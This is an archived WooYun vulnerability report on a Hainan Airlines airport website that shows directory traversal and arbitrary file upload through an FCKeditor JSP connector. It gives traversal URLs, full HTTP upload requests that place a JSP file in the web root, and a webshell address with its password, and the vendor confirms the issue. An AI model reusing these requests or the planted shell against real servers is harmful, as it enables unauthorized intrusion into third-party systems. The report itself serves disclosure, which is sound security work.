当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161481

漏洞标题:海南航空旗下某机场主站漏洞打包可内网(任意文件上传&目录遍历)

相关厂商:海南航空

漏洞作者: 路人甲

提交时间:2015-12-15 14:09

修复时间:2016-01-28 17:10

公开时间:2016-01-28 17:10

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-15: 细节已通知厂商并且等待厂商处理中
2015-12-15: 厂商已经确认,细节仅向厂商公开
2015-12-25: 细节向核心白帽子及相关领域专家公开
2016-01-04: 细节向普通白帽子公开
2016-01-14: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

漏洞打包(任意文件上传&目录遍历)

详细说明:

地址:http://www.sanyaairport.com/

QQ截图20151215134632.png


目录遍历

http://www.sanyaairport.com/autoportal//nebula/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../../../


QQ截图20151215134807.png


http://www.sanyaairport.com/autoportal//nebula/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../../


QQ截图20151215135010.png

漏洞证明:

文件上传POC

POST http://www.sanyaairport.com/autoportal/nebula/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=&CurrentFolder=../../../../ HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer:
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7de11c161e01e4
UA-CPU: x86
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: www.sanyaairport.com
Content-Length: 219
Cookie: JSESSIONID=8793B91A7AE926D92BD5C3CB1208E6FE; ubid=de7a125ecd5f996475f4f6d1632cc039009; afp_123458945=yes
-----------------------------7de11c161e01e4
Content-Disposition: form-data; name="NewFile"; filename="E:\wooyun.jpg"
Content-Type: application/octet-stream
wooyun test
-----------------------------7de11c161e01e4--


这里不知道为什么,CurrentFolder要往上很多级才能传,我只好一个一个目录去试

QQ截图20151215140129.png


POST http://www.sanyaairport.com/autoportal/nebula/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=&CurrentFolder=../../../../autoweb.war/ HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer:
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7de11c161e01e4
UA-CPU: x86
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: www.sanyaairport.com
Content-Length: 219
Cookie: JSESSIONID=8793B91A7AE926D92BD5C3CB1208E6FE; ubid=de7a125ecd5f996475f4f6d1632cc039009; afp_123458945=yes
-----------------------------7de11c161e01e4
Content-Disposition: form-data; name="NewFile"; filename="E:\wooyun.jsp"
Content-Type: application/octet-stream
wooyun test
-----------------------------7de11c161e01e4--


最后传到这里
CurrentFolder=../../../../autoweb.war/
http://www.sanyaairport.com/autoweb/wooyun.jsp

QQ截图20151215140319.png


一句话地址:
http://www.sanyaairport.com/autoweb/wooyun(1).jsp
密码:pandas

QQ截图20151215140441.png


QQ截图20151215140539.png


可内网

QQ截图20151215140626.png

修复方案:

补丁

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-12-15 14:38

厂商回复:

谢谢,我们立即安排整改。

最新状态:

暂无